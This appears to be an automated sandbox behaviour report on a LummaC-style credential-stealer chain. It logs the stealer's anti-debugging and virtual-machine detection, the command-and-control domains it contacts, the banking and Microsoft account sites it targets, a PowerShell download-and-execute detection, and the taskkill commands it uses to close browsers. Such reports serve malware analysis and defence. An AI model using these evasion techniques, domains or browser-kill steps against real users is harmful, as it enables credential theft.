Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: ECEFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: D2DD51 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: F5E6C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Special instruction interceptor: First address: C2EB99 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Special instruction interceptor: First address: D35D83 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Memory allocated: 5560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Memory allocated: 57C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Memory allocated: 5560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Memory allocated: 4F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Memory allocated: 5110000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Memory allocated: 7110000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

Code function: 3_2_055A0B7A rdtsc

3_2_055A0B7A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1416	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1384	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 472	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Window / User API: threadDelayed 384

Source: C:\Users\user\Desktop\file.exe TID: 3364	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6584	Thread sleep count: 80 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6584	Thread sleep time: -160080s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6252	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6252	Thread sleep time: -168084s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4500	Thread sleep count: 266 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4500	Thread sleep time: -7980000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6172	Thread sleep count: 1416 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6172	Thread sleep time: -2833416s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2460	Thread sleep count: 1384 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2460	Thread sleep time: -2769384s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5584	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4220	Thread sleep count: 472 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4220	Thread sleep time: -944472s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 5260	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 1628	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 4296	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 3224	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 1560	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe TID: 3960	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe TID: 5040	Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe TID: 5040	Thread sleep time: -666000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe TID: 7296	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe TID: 7296	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe TID: 5748	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe TID: 8092	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Thread delayed: delay time: 922337203685477

Source: file.exe, 00000000.00000002.2269605312.000000000104F000.00000040.00000001.01000000.00000003.sdmp, GXK4CGNQC97BZAH5XF5VF7CI8.exe, GXK4CGNQC97BZAH5XF5VF7CI8.exe, 00000003.00000002.2318239486.0000000000F40000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000004.00000002.2351224910.0000000000F60000.00000040.00000001.01000000.00000008.sdmp, 544ed086e5.exe, 00000008.00000002.2928223923.0000000000CC4000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2268595327.0000000000950000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268595327.000000000096A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2268595327.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, 544ed086e5.exe, 00000008.00000002.2929579562.00000000015F4000.00000004.00000020.00020000.00000000.sdmp, 544ed086e5.exe, 00000008.00000002.2929579562.00000000015C3000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3066643541.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3081940270.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3071306474.0000000001436000.00000004.00000020.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000017.00000002.3109806696.0000016D5FCA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2269605312.000000000104F000.00000040.00000001.01000000.00000003.sdmp, GXK4CGNQC97BZAH5XF5VF7CI8.exe, 00000003.00000002.2318239486.0000000000F40000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000004.00000002.2351224910.0000000000F60000.00000040.00000001.01000000.00000008.sdmp, 544ed086e5.exe, 00000008.00000002.2928223923.0000000000CC4000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 544ed086e5.exe, 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarecxT
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 544ed086e5.exe, 00000008.00000002.2929579562.00000000015F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB
Source: 275cb7a9a2.exe, 00000009.00000003.2985364707.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

Code function: 3_2_055A0B7A rdtsc

3_2_055A0B7A

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 544ed086e5.exe PID: 4820, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2039271461.0000000004A10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003088001\num.exe "C:\Users\user\AppData\Local\Temp\1003088001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

